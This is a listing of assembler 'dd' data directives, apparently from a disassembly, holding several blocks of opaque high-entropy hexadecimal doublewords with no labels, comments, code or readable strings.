dd 1B294CEh, 87D2F493h, 5A9B4D1Fh, 759C60D0h, 0F02F7C5Bh
dd 29F143ECh, 861B5C3Ch, 0F4579A78h, 0A0D0B98Bh, 29F91AB1h
dd 9E966DDh, 47F1425Ch, 53C43CD6h, 1308C9BCh, 8C9FC66Ah
dd 0E45365BAh, 0D352AE4Dh, 0DAD447FDh, 5F8AFBC7h, 5AC20FF4h
dd 3C47742Ah, 81F1671Ah, 856F6155h, 6A8F565Bh, 5C3637CCh
dd 0A1F2B739h, 5E3B617Eh, 37747CD8h, 3145ED5Eh, 6C694EFFh
dd 835B3EA4h, 0AA33587Eh, 9B60D2D1h, 0DC87795Bh, 0B0C6BC1Fh
dd 8E825784h, 0C8FE1BE3h, 3ABCAAC5h, 0BA83E154h, 0D56D6F16h
dd 3AE8996Dh, 0DA915C92h, 5648FEh, 182DD311h, 0A14E6FD8h
dd 0D1A93B09h, 9990DE52h, 9665AB7Ah, 0AD5A4B50h, 9829432h
dd 0DE877826h, 5C998889h, 6A1DB644h, 32050DAAh, 42473FD1h
dd 26BDB02Ah, 93A07A66h, 71FB5EF0h, 3B0C2FECh, 0C2C18987h
dd 0F1C58669h, 55BCB5A4h, 0B97FE8FDh, 35259A4Fh, 3A3DC023h
dd 0E1C4DC02h, 83878AE0h, 86D6A1DBh, 0A2002B0Ah, 0C869549Dh
dd 0B44ACB9Ah, 0EBA2408Ch, 5EA7FC4Bh, 67CA91A5h, 73CAFDEAh
dd 82FAAFDEh, 0A4B57BF7h, 928A28CAh, 0EDC98B44h, 0F6393761h
dd 3268A3Bh, 0E2DE9C09h, 642147EDh, 0A1D4B250h, 83A3EE26h
dd 0F51D682Dh, 1A5F20Ah, 0ADACF3ABh, 38F077FEh, 47F655B3h
dd 4B4B231Eh, 192FD7F5h, 64061E0Dh, 0D755E2DAh, 4651B3C2h
dd 0DE4A14F9h, 3935BB47h, 0E9F95A0Fh, 928D41A1h, 0EF092072h
dd 0DFD47262h, 0E0929BFCh, 434DA634h, 90EC2049h, 41EAFA74h
dd 6C94FA7Eh, 0E7C4B472h, 5BD579h, 0E9DC755Ch, 92D3D821h
dd 61C3ADB0h, 0F60862FFh, 0D9EC3A25h, 805C761Ch, 304B78DCh
dd 0AF3DFB8Dh, 0A7931919h, 3D21B68h, 750301BFh, 3AE93584h
dd 0B81BB6AFh, 0F7B13690h, 0AE21A029h, 5F613136h, 7EDF2A8Bh
dd 2A33B563h, 597B5A1h, 0A94122B7h, 7EB0D81Ah, 0BD66FFDFh
dd 0E3AF3F81h, 0F0385B0Fh, 7791230Fh, 0C633A5AEh, 0DA374C27h
dd 0DF845CB5h, 0B5800C7Ch, 87F8456Ah, 6789F0A7h, 19F92BA9h
dd 19B2E130h, 0A0650CC3h, 0C0C87BEBh, 0DF89E23h, 0E87EB37Eh
dd 0E1803E45h, 4660832Dh, 4A94A573h, 0CEB00BA1h, 341E8EDh
dd 0D19807A4h, 3D304350h, 0CA59565Eh, 0F2D11AD6h, 7255BC22h
dd 44E750C1h, 6A3D1866h, 0A8C0B225h, 0CAC65705h, 0A1A7BF4Dh
dd 0E5E1A075h, 89DD1C66h, 45CC426Dh, 0CB965115h, 95900B20h
dd 6C6D89BCh, 211CB4CEh, 31468006h, 83194997h, 249616D1h
dd 93F2A73Dh, 6C580B11h, 6D1DCDAFh, 0D6ABED7Bh, 42EDF7C8h
dd 398A6234h, 0AFC9607Bh, 855F66F8h, 71CA9410h, 1FABDC45h
dd 0FA592A40h, 684EAC24h, 2B86BDB3h, 3D6A4170h, 169B23CFh
dd 0CCD5F26Bh, 2DC2140Dh, 0AB00E4A8h, 0D1920AE2h, 0B328D463h
dd 0D92AC6B3h, 538B3142h, 467F2CB6h, 58B18C17h, 5F1B1FBCh
dd 60A02D0Bh, 80B74AEh, 0B40F5629h, 0B73AFF1Dh, 68D518AFh
dd 5A05C947h, 0A0655E1Fh, 8F1F4036h, 8A38FBD6h, 959C1CCCh
dd 0C9DE06ADh, 0B50647E4h, 0B0E150CFh, 5968300Ah, 196817E0h
dd 98D75CFFh, 0C1A233D1h, 0F860E04h, 0A1D009A3h, 413B5D07h
dd 0A6949AA9h, 0F01C4452h, 0A5736CE2h, 0B58DD446h, 1CC1F115h
dd 0DFA9A610h, 0C4693DF8h, 0CCAA04B1h, 5E9B1EFCh, 0B4131AA0h
dd 0DF829975h, 86A78E12h, 0E4343BDCh, 8346290Fh, 96758FA3h
dd 0D32976C8h, 0D05F7E43h, 0C8182CA2h, 7FAEC387h, 0D99E936h
dd 83A509C2h, 24C84D4Ch, 0A2ED958Dh, 0A8AC3D97h, 0BCB897B3h
dd 65A2B53Bh, 0C9B92EC0h, 685CD25Bh, 3DC5CBA1h, 481EE88Dh
dd 4D689126h, 0D9403DCBh, 0E82E2BE5h, 7492C490h, 21900248h
dd 915A4BD3h, 946261C4h, 6183D63Eh, 0B9E85324h, 2E692575h
dd 13952266h, 38BBF358h, 26FC7336h, 2FE76978h, 0B1FFA8A3h
dd 48522E0Ch, 41CAC9C3h, 90051AC3h, 1A3E3984h, 603BC374h
dd 12F16B9h, 0AB4967C6h, 828FA5BAh, 18078DA6h, 119150BEh
dd 8D2ACA96h, 16FD5BFAh, 6E9E5F0Dh, 3C8643CAh, 5521A5D2h
dd 0A6E56F90h, 5513F72Fh, 0D35F20C4h, 0BE1BA3Ch, 60B6381Dh
dd 4C7A1605h, 3B47ED90h, 0C2513459h, 71724064h, 0AF8F94CAh
dd 6701860Ch, 9DF72F64h, 0F229E3B3h, 0F573BB2h, 36B707Bh
dd 3D94F34Dh, 0EBAAD932h, 0BEDC6D56h, 6492A9F8h, 0CB70A27Ch
dd 5C96C912h, 56FD6816h, 0D43B79CDh, 0DF29C292h, 0A77EA638h
dd 6DB5AD64h, 0D8AB59DAh, 0C567CBCBh, 150DA93Fh, 0DFF39218h
dd 0A9F51742h, 67427F99h
dd 0F1B8E000h, 1B8F85ECh, 59F91840h, 112C2703h, 0F0F10684h
dd 5E62747Fh, 0F7276280h, 2AA2DF06h, 0C2F4A0Fh, 0FB7F23AFh
dd 831E45B7h, 0B3BAE3E1h, 5AADCA98h, 0E78D451Ah, 0CA9A6A87h
dd 7DDA316Fh, 569F73F8h, 24746584h, 6406FCA8h, 66B76CE0h
dd 4CCCDD64h, 1335F785h, 0E12C5B72h, 0F165D2FDh, 0B59D687Ch
dd 0C0750EADh, 0D5098190h, 0D827806Dh, 36935A2Bh, 43C89CC5h
dd 0AC5FD72Bh, 13C90595h, 5E84F155h, 7DCB1A64h, 0EE4325EDh
dd 0A5679CC4h, 71EB7C47h, 62A7717Ah, 75E6EEDAh, 2AD9CB90h
dd 0C73DF18Fh, 209E9D67h, 46663B9h, 0A5AF5460h, 0FF24A830h
dd 34C70598h, 70078CBCh, 8CF709F0h, 30EA5CE9h, 0AFBE2239h
dd 35C51D88h, 71FCBEFh, 0F9050703h, 0A5D03068h, 0CCA087C9h
dd 48142FC1h, 94C3E0E0h, 4A4A00C5h, 0EBA30585h, 5CF5B968h
dd 0CB6493DCh, 274F3D96h, 0F9BAEE31h, 0C8E6E19Eh, 86E198E6h
dd 855091F8h, 58559CA5h, 66D4B82h, 0BB459ACEh, 19030680h
dd 0F11BA934h, 13ACA94Ah, 0C35F8B49h, 4BA4AC75h, 0DCEADC66h
dd 0C316A5A1h, 0EFBA1D50h, 0C3255DEAh, 0BAEDAD54h, 0D006A57h
dd 7BC3900h, 0DCA8317Ah, 0E0A34808h, 580A1C84h, 32FD5BEEh
dd 714E874Bh, 3749A40h, 8656A4F7h, 3C30740Eh, 438CD9Fh
dd 0D2BBE0C4h, 37683360h, 46407D03h, 0CF14C2BDh, 37AA3FD1h
dd 850D073Dh, 0C102C14h, 38D20CD8h, 58D7FF60h, 0C63900D6h
dd 2B7688h, 1AE75CDAh, 259EEACBh, 19F4318Bh, 50C7EFBAh
dd 2C70071Bh, 9AD50E6Fh, 15865C0Ch, 6285AD1Ah, 0C6AF456h
dd 0B8B47A2Fh, 9BAB62C8h, 0F580E507h, 55817303h, 0D347A298h
dd 11663684h, 0A0E615E6h, 0E70BAD8Ch, 0CDC98548h, 90798B4Ah
dd 16CBE000h, 0F1ABCDDFh, 1320D646h, 702BC543h, 0B459450Fh
dd 0D06A623Dh, 12F579CBh, 0E2C97A00h, 0B2F1158Bh, 0BE7A0D19h
dd 47E33918h, 99381FABh, 59260E3h, 0F2471A90h, 3585A7C1h
dd 5ED230CDh, 0BDA4B3F7h, 27BE7EAEh, 0D507F412h, 51AE4BFFh
dd 0B26B0C9Fh, 789CE289h, 464A077Ch, 61F71EB8h, 84241D78h
dd 6A6DE0AFh, 0D1EE0636h, 0E2280670h, 0F8051340h, 0ABDE5F41h
dd 5D3C04D8h, 46B9ECA7h, 0CD2708D8h, 0CAC8F573h, 70E423EAh
dd 26C8606Eh, 0F8524B96h, 0DFCED279h, 7E40903Dh, 0CA84C6B0h
dd 80047156h, 0A3D33680h, 4B8AA168h, 1FF2CB44h, 8701AAB2h
dd 0AA53E8E6h, 2CAEB880h, 6611675h, 4160059h, 0F8BC57F9h
dd 0B5CB84Dh, 0D3469B70h, 2DF9ABB6h, 95FD0F32h, 3EF424Eh
dd 8A22CE15h, 5D85B41Fh, 7BDD09B9h, 0CE4CDA85h, 796C59F7h
dd 0A9756B1Ah, 56709BFBh, 0E129E4A1h, 7915F7Ch, 6F280B96h
dd 941FC341h, 0AF09CB89h, 672F6EFAh, 558073D4h, 40C32B4h
dd 8A328D27h, 30077889h, 4D580BAAh, 73EF0FAFh, 1C229FD5h
dd 0E734D896h, 0DC2A402Fh, 0F214236Ah, 146E4EB2h, 80639914h
dd 0C83DFBF9h, 0E92975E1h, 0CC5981BAh, 0DD525B04h, 0F966B620h
dd 0B73AAF76h, 0D5CE4E89h, 2C9BF6B4h, 85F609AFh, 9438F8Eh
dd 86756793h, 0DF19A5A3h, 1386A64Bh, 56225A40h, 0C65F23FAh
dd 0EA9CBDEBh, 110CC6CDh, 28BF046Bh, 9BB0FCC4h, 0C96D4758h
dd 193D5B64h, 909B10Eh, 0C32F09B2h, 9A596BAAh, 2D75527Fh
dd 60272E1Ah, 9B76DCD1h, 8E616772h, 50B4B5EDh, 347E6E2h
dd 44A777D2h, 6A90DAA5h, 4A561695h, 534A55B7h, 2B4BA52Bh
dd 1E4A47E5h, 0AD580428h, 0C2A57D48h, 0C47FDDC9h, 140F9CC8h
dd 0D7EADA16h, 0EEC2A4F3h, 2A4F15Fh, 9D0317EEh, 30259078h
dd 0EADBE524h, 7E52791Bh, 0E7BC157Ch, 0D0F06B49h, 56A07F16h
dd 0A9F1D19h, 0EFA55309h, 0F8D4C240h, 16F521DDh, 54A55E69h
dd 10DD2956h, 0CBA48B52h, 64BA6A43h, 71805C83h, 92AD4545h
dd 9F11515Eh, 3E96DB5Dh, 14FF10CAh, 201B64FEh, 0D33D2DB1h
dd 400A3F10h, 0C9A58Ah, 297E38A4h, 0F290CF3Ch, 3C4679E1h
dd 49A79E13h, 49C045C8h, 0F42CF63h, 3D640CDh, 0B89CBF87h
dd 76DDE099h, 75C96D5Bh, 0CC3770B6h, 0D77725C7h, 0CF50372Ah
dd 7FEA666Bh, 769EA266h, 91A58FA9h, 60DA7B07h, 0C2A7934h
dd 0D64F2693h, 2E4D42E4h, 11FCE4D0h, 0C2333EE6h, 27540138h
dd 0B9931C71h, 3CA18F95h, 7E46A0CDh, 0CD0B4463h, 0D20EF202h
dd 55C699F2h, 3577FEFFh, 0CA81A99Dh, 0F53FE792h, 0CE5EFE19h
dd 8D473DFh, 0F7F20F7Fh, 0DFC0353Ch, 0BE7BF85Bh, 3CBD1DFAh
dd 0A0581CF7h, 9236ACD6h, 0C1005207h, 3BD50A93h, 7DFC1074h
dd 7533AB2h, 0AAA7DFC1h, 5DDEA5D7h, 978B9B3Ch, 2EB87176h
dd 638B9D5Eh, 0B9C8E2E1h, 0DE2ECE38h, 88761714h, 48DBF0DEh
dd 0EE9E6F5Bh, 0FE5A92D8h, 4E035FD3h, 47A07365h, 4233AB4Dh
dd 0D0C1F093h, 0BC40BF84h, 19E1A542h, 1A930EF8h, 4366EFFh
dd 7AC9C00Dh, 34D7F155h, 59F0E7ABh, 56609F8Dh, 98CCD78Fh
dd 0FA275E70h, 89D9191Eh, 0D9191E8Bh, 8C8F9589h, 47E2C4ECh
dd 0E4E27646h, 62764647h, 75E723DEh, 9191F9A2h, 0C3E9F89Dh
dd 0C3F13B23h, 9DA2C987h, 0FFDD7927h, 71327A3Fh, 4B90A696h
dd 0EB6C10F5h, 21805310h, 41169A67h, 2079004Fh, 0A5CF40EAh
dd 27BD4AE1h, 87922FF1h, 30F2072h, 2E47534Fh, 0C9591DE2h
dd 25E8D23Bh, 0DA818CD5h, 5B06ADD0h, 2ADD067Dh, 5B24F3C2h
dd 0D52C8BB8h, 96445691h, 53709100h, 790B4BA4h, 3A3BF841h
dd 72F02CD7h, 247008A7h, 332B2D13h, 0EF8D9FCh, 0CCF7C909h
dd 7828FBE4h, 63F63DB7h, 46C8704h, 0D29F287Ah, 8EFE7F3Fh
dd 8F5B8F41h, 7A1B56F6h, 0A864C64Eh, 1A9E4ACFh, 43B0D454h
dd 8E0B87E9h, 0CE0254E3h, 948C31B8h, 0FB4EBA86h, 0A279CBE5h
dd 77F4891Eh, 0CEB35EC0h, 3D5B7EF0h, 304225Eh, 76C96856h
dd 26629A12h, 11CCC15Fh, 0E16D79B1h, 63E5A33Fh, 5737E089h
dd 0B7C2B26Fh, 0F53D4048h, 791B3B3Ch, 96E56B15h, 0A32CB592h
dd 831EECB6h, 0E534059Ch, 732D2046h, 0D597C6E7h, 0B0DD7D96h
dd 0ECB6BD3Ch, 6BCAC361h, 0D166CB6Bh, 95865DF3h, 0A6CB6A13h
dd 618973D1h, 0E3D218E5h, 32421386h, 105AA08h, 37F1E929h
dd 4324CE01h, 169FCDA3h, 0A2D36EDh, 3D09B21Dh, 0A55ACCB5h
dd 240BDEC2h, 6E76D1ADh, 2423D08Ah, 0C4484468h, 92FA1B5Ch
dd 0F7853E21h, 54B45E0Ah, 0E827C757h, 86E0647Dh, 0D4972AABh
dd 0FBB2E61Fh, 44EA616Bh, 2CF1A556h, 6298922Eh, 0F0B9FAB7h
dd 501DC134h, 1B5E1460h, 6180A7ECh, 9B481C48h, 0E718AB5Bh
dd 20312AF2h, 0F1BBE2DAh, 128F0296h, 3334BB34h, 0C41102FEh
dd 0CF5C9359h, 7F5AA530h, 3D343469h, 3DFA6C30h, 3DDFA7C0h
dd 0BFC3F4FAh, 0C326EF1Eh, 3D94B8B3h, 0A4BFC3EAh, 9F00F819h
dd 19F0F781h, 0FEB43258h, 0DF0BEA2Ch, 9E3BC2E7h, 2E1B4DC4h
dd 9766DB21h, 7D7DFD5Ah, 700213F2h, 0BDA12B3Ah, 448DE57Ch
dd 0D5EA2D6Fh, 671A6B1Fh, 0A671AA09h, 3A75A3CAh, 92CF4BACh
dd 0E80EFF5Bh, 14DFA01Dh, 3D537488h, 469548C5h, 3DD577B3h
dd 0E943A29Fh, 17817E77h, 526C3C55h, 7E5AF504h, 3C157858h
dd 22F1F35Ah, 0A41BD753h, 36ABEDE0h, 52E4D360h, 52D1DDBFh
dd 6D0839BDh, 0E6E2F539h, 1861AF65h, 7C5F1793h, 0EFC66631h
dd 0C7D517C6h, 0B735E01h, 73B2A324h, 0F9283E36h, 250C6B28h
dd 0A38FABECh, 7DB4EDE0h, 0A6134679h, 0FC59BFC7h, 0A91F2C0Bh
dd 7E795FC3h, 703E40CCh, 16FCED60h, 63FD0AC6h, 0B2AF557h
dd 0DBBDA381h, 1A7576Fh
dd 70B658h, 27A0290Dh, 8A93D483h, 0C2D9199Dh, 0E132E284h
dd 65C55EDFh, 3D55BF81h, 7215A54Ah, 22E51331h, 0A837E1CAh
dd 7556980Eh, 0BFB34CABh, 0D583E0FBh, 2ADD6E72h, 0AED9AACBh
dd 6EB5B285h, 37E97595h, 6165FBA5h, 0BA75B1BDh, 0C7DABD1Eh
dd 7EDD9695h, 59E18DC1h, 0DF16860Ch, 5D91333Dh, 7EA4FA7Ch
dd 7A04A707h, 7F254C79h, 0E8DC4441h, 0A4D70176h, 3E29EAFEh
dd 2B00E290h, 365152h, 0BFA3634Bh, 376E5C0h, 0BC818F08h
dd 67EADB30h, 88BCA162h, 52EDC078h, 0C0954FEFh, 79FC07BCh
dd 9E583798h, 0AE8BCC91h, 83C51A79h, 8F6D5B33h, 70B8F809h
dd 0DCD0244Bh, 0F89B76F8h, 31B34A14h, 0D3CD6A6Ah, 6267ADC1h
dd 96C633E2h, 0AA86A643h, 77B7C6A6h, 3DD831AAh, 0D37E6A1Ah
dd 0A6ECF350h, 1779941Ch, 2F3AFBDAh, 0D57C296Bh, 0FC41AC74h
dd 0FE5A3ADh, 0DF3C091h, 917B9F0Bh, 0FC5FC554h, 0E7F7BA83h
dd 0F6EBBE64h, 0AE7FFBAAh, 3602F62Bh, 7C446F1Eh, 0F2E85FCAh
dd 1864B435h, 0AE6AAE30h, 0F2DA17CAh, 0DB0BF7C8h, 511644C4h
dd 0CEC7748Ch, 5DC6F6C6h, 348775B5h, 4590F443h, 31D61B78h
dd 0E424249Ah, 0D573FB7Fh, 8F721147h, 51EDD73Fh, 9918F083h
dd 71CFE85Bh, 506FD479h, 2FC1F935h, 0E5F7B017h, 6741D9F4h
dd 1C867481h, 0E7E2FCFBh, 0AB76EE28h, 0F60BFC97h, 9FBE3415h
dd 0AAF211CEh, 0C017E2D7h, 43D46E22h, 1CF1EA4Dh, 0DFA85169h
dd 0ED4C0B19h, 0CC4FAD76h, 0D532902Ah, 0D0D180B4h, 0FA57BE8Dh
dd 0B2518B44h, 151E8DFAh, 0D66AB379h, 69290D53h, 695BE53Ch
dd 349314A9h, 20BEA3CAh, 5ABC3BD0h, 18B715F0h, 0F9E76AFEh
dd 0F2A5339Fh, 2394F017h, 0B94A54E6h, 866D4E34h, 0AD11290Eh
dd 7D586C81h, 263CD51Eh, 0F08831F5h, 0F0E8C70Ah, 0A25CAB2h
dd 0C227740Ah, 5B161483h, 0B7B73C9Ch, 9EDCEC5Ch, 5426EC33h
dd 1D5D1DFDh, 6661461Fh, 717F74B9h, 5E9A558Dh, 0CC0E6132h
dd 0B258C0CDh, 85DD478Eh, 4C66CEFEh, 19AEB671h, 78519785h
dd 4626FF0Ah, 4A7F56E2h, 0C7F89E82h, 88AF4164h, 1CD4A5Dh
dd 88957626h, 88180207h, 0E3940FDBh, 468D9A80h, 47F52E1Bh
dd 1B2E9FBh, 78AFCFDh, 0B3F17BE2h, 0D5CE3509h, 0F10FA995h
dd 0BF3B0EDFh, 0F3C68463h, 63A1F00Eh, 680926D6h, 0F3A76382h
dd 5A8586ADh, 6541C2C3h, 9E4C2F61h, 0DA02EEBBh, 45E9E6B8h
dd 0C8BDACh, 33D77C47h, 44722F4Fh, 0CF05ACE5h, 14BD89B4h
dd 7832F49Fh, 2C9B40C0h, 0F40A190Ah, 0FD943C0Ch, 2BFF7FFEh
dd 6265A890h, 0E720D4A2h, 0B58FE5EEh, 0D7B56E93h, 0E06ADD96h
dd 0D8997ABEh, 6B50BC5Bh, 4CA58AC6h, 9E9CA7C4h, 0F20E178Bh
dd 12BD20D7h, 8B382849h, 49EAD022h, 0AAD83F78h, 435DCB5Eh
dd 0AA37ED5Fh, 0AFA1F019h, 96AF66DCh, 0E9B95872h, 0C06A3C75h
dd 67066868h, 0D22F763Bh, 0C1FD2809h, 73282219h, 73283E97h
dd 0B4A0F282h, 282201F4h, 0F4B83FF7h, 50461F6h, 62E3B746h
dd 0C6F9DD57h, 0E2EEABA1h, 0A036CB09h, 748DA887h, 0FD803FBDh
dd 7DBA37EDh, 3E98300Dh, 0AE5AEF5Ch, 0FD85BF41h, 0E3FABC80h
dd 45D9BE28h, 5C5D4CA6h, 407A4150h, 0A4244340h, 5661F256h
dd 9CA24A54h, 397C8B70h, 0E55EED8Ah, 0D0B6B999h, 23937B4Bh
dd 0F7201179h, 29172071h, 71549DFEh, 8C5B93CCh, 0E3E799DEh
dd 8D8B888Ch, 0BDB1B5A2h, 5BE5EF6Fh, 7A183081h, 0BB06A2EAh
dd 24E6268Dh, 60C1B8EDh, 7AB74F46h, 0B2257BDCh, 5A31574Bh
dd 0C1484EA0h, 0D17C678Bh, 550E82C4h, 0F25CB62Fh, 6D798487h
dd 0A93B61E2h, 71761C58h, 4E31D4D9h, 0B284BEC3h, 0B91CB41Dh
dd 0C174A7E6h, 0EEBF8F86h, 4FAAAFFCh, 0C2FAAC5Ch, 8A385A61h
dd 1685C078h, 4ABA8A5h, 702C0EFFh, 0D12F7CB9h, 11C3D23Eh
dd 0CE2B0999h, 63F21CF7h, 2B21B6E2h, 0AF86BF7Eh, 384FE36Ah
dd 0E468F072h, 1FF4DDC8h, 0BBE96722h, 0CF77208h, 0B27C2523h
dd 6A575F49h, 6746C1B6h, 0B7CEBDC2h, 0EB93686Bh, 0D0F6E451h
dd 4786F020h, 6036D3C9h, 7569B81h, 0D032CCDFh, 21BEAFCDh
dd 0FE29CBA0h, 4F6BBD49h, 85750FB2h, 0E1346EA9h, 2D9A86Ch
dd 0F1AE4A74h, 1499996Dh, 8B622A37h, 8AFA55B3h, 94CCFD6Fh
dd 0DC454363h, 91C54908h, 0A7A0E7AAh, 0AF7F825Eh, 0D57DE02Ch
dd 0B1C15E81h, 97B2180Eh, 0EEDF6A5Ch, 0B8D938D4h, 58942D20h
dd 8B7F0B85h, 8B66B8B1h, 9F111A54h, 0D854BD26h, 0BADFE0BEh
dd 0EAF78764h, 0C8081E2Ah, 0FFEAE98Ah, 6AFFEEEh, 22EFAF3Ch
dd 3E91380Bh, 66255742h, 505C815Eh, 0B638EC4Ch, 25693719h
dd 0B626D9D0h, 26DA2EE0h, 9874B16Eh, 94123C0Ch, 3C397CD1h
dd 3427FC61h, 8654DA7Dh, 36AEE539h, 5B8EDDB1h, 41423BB6h
dd 0E56A5CA1h, 886F3A13h, 0ABB88AAFh, 1E0C19E1h, 1AE5BE45h
dd 84CCAFD1h, 0AF0C7087h, 30F09E2Eh, 86708E12h, 80A12D19h
dd 0A51257D2h, 14FC2857h, 9E570179h, 5518C1h, 5B825EF7h
dd 1FF701BBh, 0A2105EF4h, 7C9A55E0h, 30FCCC59h, 90466E21h
dd 0E8E37D46h, 389A88DEh, 27ED4D7Eh, 2A4E9087h, 1D53672Eh
dd 3ABD1414h, 0D386E9DEh, 3DDD5794h, 0B3A35438h, 187F56CDh
dd 0F84E341Dh, 89D5A11Eh, 0C19FD4Bh, 597FC58Fh, 0C8A453D1h
dd 0C096CF81h, 56A06BCh, 0D13F2030h, 0D218412Bh, 608A1B5h
dd 7C5D42D8h, 52E5B48Ah, 910D7E5Fh, 0B1A4F1D6h, 50C6EB6Ah
dd 0B6A37EA3h, 5BE8A35Bh, 0F7FD17F1h, 2579BB69h, 5233F049h
dd 0C1C31DE0h, 1645098Fh, 43E3C125h, 0C0C337FCh, 4D9362B4h
dd 0F7CAD514h, 23E3CF19h, 8D786E14h, 0EF198E4Ch, 0A4837DD8h
dd 461EFFECh, 6C4AA223h, 9B011AE1h, 47F8C9CDh, 186939E4h
dd 99C3390Fh, 19405E5Ch, 5C580942h, 0F368C2Ah, 778F9600h
dd 64DF162Bh, 5192A27h, 6E61B3Fh, 8063CAD3h, 8F1835A1h
dd 151575F7h, 0A2CFAB5Ah, 82FE4508h, 0D87C93E5h, 0F89BCA6h
dd 0C11E3C0Dh, 2C0D1833h, 73067E16h, 0C6BFC2C7h, 3CCF0D3Fh
dd 437E5F4Bh, 1A309A5Fh, 5BFC2C5Ah, 46E5980Ch, 27D1E952h
dd 0FAFF25Fh, 0AA102D67h, 88CF8AD4h, 23330851h, 4732D1A5h
dd 0B99E1A8Ch, 0C3C63C93h, 2234058Eh, 929C39CFh, 0F24A201Ch
dd 0AE9F3A23h, 74FB624Eh, 84D5DB12h, 6FD034Dh, 8E3AA709h
dd 0B6380FEDh, 4425F4F5h, 0DB1CC25Fh, 0FAD852C7h, 6070C170h
dd 75C5E02Eh, 0DBD7194h, 3A51A891h, 1CC071C2h, 0E4EA3491h
dd 4C5EF529h, 0ABEADBB8h, 0AA8C4851h, 79F6D061h, 8B6CB55Ch
dd 65FA9EAEh, 0EE2EA9Eh, 98FF446h, 0DB1A23FDh, 498FF5BBh
dd 254AB1E5h, 20C0E5Ch, 0E25E07AAh, 61C4286Bh, 86EAEFA5h
dd 42C6FCB5h, 86795507h, 0A24253E2h, 0CF834ACFh, 9027E13h
dd 6266069Bh, 6739C11Ch, 2F4162D0h, 0F45AF0FDh, 0FA67A287h
dd 38BA5ACEh, 69E3A385h, 303F62AEh, 206CF742h, 0B6645A41h
dd 737FD47Ah, 0FB5232B1h, 4DCA93DDh, 93E58630h, 4F6D2ECCh
dd 1EE6D17Ch, 6BABD5A8h, 494351C8h, 0BFCF43CDh, 0DE899D49h
dd 0E0A0F527h, 62ED59F4h, 9744BC46h, 6C8EF52Fh, 97B6415h
dd 919BC2E3h, 5327400Ch, 13073BE0h, 0EC5A85B7h, 0B681384Ah
dd 569B39D6h, 0D432A1E3h, 371D0392h, 86F7CF87h, 9A404F09h
dd 0D280884Eh, 45B885E0h, 5849E6FDh, 0F0F1F1BDh, 7EA88BC8h
dd 0D42BA146h, 42491DC3h, 76715DDEh, 0F9DA1684h, 82C17CB4h
dd 6E255950h, 4A791E08h, 0F29F199Bh, 4422FC8h, 55B808D5h
dd 90D3861Ch, 0C1A1152Ch
dd 0F1DDD5BCh, 3308A574h, 62CFE135h, 7B0239AEh, 0ED8BE4C1h
dd 0C969F505h, 0F65820BDh, 0AA680DB3h, 16DBBC67h, 0C75714FEh
dd 8F277C04h, 0AF837E39h, 0EAA58E13h, 0DB448D03h, 0FB0E6A1Bh
dd 0B3C0C236h, 6C3475A2h, 0C97BE12Ch, 62805A49h, 7F2CF7D0h
dd 0BE7990A2h, 722F8B5h, 0ED73F753h, 8AB7C500h, 36EBC227h
dd 0EBE1F57Ch, 521D98ABh, 0D165303Ah, 982D94F0h, 0AFC9CF32h
dd 4BE176F3h, 0F2FEB9h, 9D5BE9F2h, 4A9BA5A7h, 0D4D282AAh
dd 90960892h, 0B1B24B0Ah, 24BF2916h, 394BC11Bh, 5408D925h
dd 636496B2h, 8CE4C969h, 0D2E0A6CAh, 0E06086C3h, 0BF56C1B0h
dd 31CCE693h, 8B698B5Ah, 1331F861h, 1643E8DDh, 24CC56C7h
dd 0F02AEBE5h, 0E5EC8A11h, 0B6E5A05Ah, 28592653h, 352B0F10h
dd 22C2FD1Bh, 0E9FC0F60h, 16C0944Bh, 915DA6A5h, 1D3529B7h
dd 914BBC8Ah, 42BCE13Bh, 457A96A7h, 6B02506Ch, 14279A95h
dd 0F3529D79h, 0AD3F2294h, 352ACFC8h, 178129CFh, 148B99FCh
dd 0A9183A8Ah, 0B644A8DAh, 25798D10h, 0D914222h, 0E8B9C71Ch
dd 33B891DEh, 2857AE52h, 17F2620Ch, 0D0D3FC53h, 0FDC88566h
dd 102306D6h, 0E9B43F65h, 0BD7F7A59h, 28F6DC81h, 0E56922AFh
dd 84FA1499h, 217AB796h, 287B172Dh, 5A403842h, 97B4F0C3h
dd 0FC0BDA78h, 0E1F4C10Fh, 0B772D214h, 37E81F51h, 0FE12AF05h
dd 0C2D840E7h, 9281E97Bh, 900F7137h, 255ECCFFh, 3EAFA4Ah
dd 32BF7DB4h, 0EF3D0302h, 527DC30Fh, 0EDC287A3h, 0B40FA354h
dd 0D3672047h, 12501B53h, 56B11E55h, 6F2C2CE1h, 67AF77C6h
dd 0E3CEFA81h, 65431D34h, 5B679098h, 99AF1F3Bh, 1E38ECF1h
dd 0D67BB286h, 984EFD48h, 3C4230D7h, 8CBE41AFh, 6C94684Fh
dd 0A5914F20h, 2E3D3199h, 5A261640h, 27AB2DC3h, 7025293Ah
dd 2A6237B9h, 0CC44988Fh, 0F2FB24Eh, 15B1B4AFh, 742FB12Fh
dd 560FCC80h, 0A8416B75h, 19F55831h, 0C8D41BFCh, 8B7A7FCCh
dd 0DC3C41B7h, 898B49E8h, 33C10A1Fh, 48F13105h, 34788363h
dd 8342AA26h, 8C4C51F8h, 0B1E2639Bh, 8FC41BFBh, 0D627E263h
dd 0DAFC7898h, 2627B106h, 0C4C5709Eh, 0F1069E93h, 85EC4C54h
dd 364F4FC7h, 0B1317D88h, 13131DDFh, 3D3C4C62h, 819E2627h
dd 0F2DD67BFh, 0C235C1A5h, 707B64D7h, 9C96698Dh, 76635C19h
dd 0BC7E76A3h, 0E98AF1BAh, 2381235Bh, 0D6CAF733h, 99C6F9C6h
dd 0D364D55Fh, 87D271CCh, 86355F8Dh, 69E084DAh, 0B8B0FE4Dh
dd 0A1F39042h, 0D2F934D8h, 3CB30AE2h, 9FF1BD46h, 39F76DD0h
dd 9FF75676h, 0D24C2508h, 0DF74FEEBh, 0EEBC44B3h, 0CE1A8C7Fh
dd 0B186992Dh, 9F7DC599h, 2C1F7B7Fh, 0BCBA927Bh, 7DE5C462h
dd 1A3C6818h, 81739F70h, 0D340DBEFh, 9F02E860h, 628B4827h
dd 8C628466h, 5309B9Bh, 0AA914A8Fh, 0D5900B5Dh, 7DF98B96h
dd 5EC2FC3Dh, 0FD530C83h, 0D5FE5DD0h, 0C74C74FEh, 4C267B81h
dd 7CB743F8h, 124A45F8h, 38B6C80Bh, 9F3752E1h, 0D2D57021h
dd 4AFE7425h, 4E1D3F8h, 0EF110EF6h, 0AB40ADADh, 79507D93h
dd 1E283EB1h, 0D9A367C6h, 803B969Ah, 8D9A8727h, 30C3AAA1h
